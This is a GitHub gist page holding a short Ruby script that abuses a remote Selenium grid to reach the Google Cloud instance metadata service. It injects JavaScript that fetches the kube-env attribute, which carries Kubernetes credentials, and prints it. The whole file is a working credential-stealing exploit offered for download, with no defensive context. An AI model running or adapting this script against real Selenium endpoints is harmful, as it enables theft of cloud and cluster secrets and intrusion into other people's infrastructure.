-
-
Save amalmurali47/b868ec24d4ba60927f11c17cdaabab04 to your computer and use it in GitHub Desktop.
Revisions
-
smiegles renamed this gist
Jan 14, 2021 . 1 changed file with 0 additions and 0 deletions.There are no files selected for viewing
File renamed without changes. -
smiegles created this gist
Jan 14, 2021 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,40 @@ require 'selenium-webdriver' @host = "http://metadata.google.internal/computeMetadata/v1/instance/" def setup @driver = Selenium::WebDriver.for( :remote, url: 'https://SELENIUM_URL/wd/hub', desired_capabilities: :chrome) end def teardown @driver.quit end def run setup yield teardown end def script return <<-JS const Http = new XMLHttpRequest(); const url='/computeMetadata/v1/instance/attributes/kube-env'; Http.open("GET", url); Http.setRequestHeader('Metadata-Flavor', 'Google') Http.send(); Http.onreadystatechange = (e) => { document.write(Http.responseText) }; JS end run do @driver.get @host @driver.execute_script(script) puts @driver.page_source end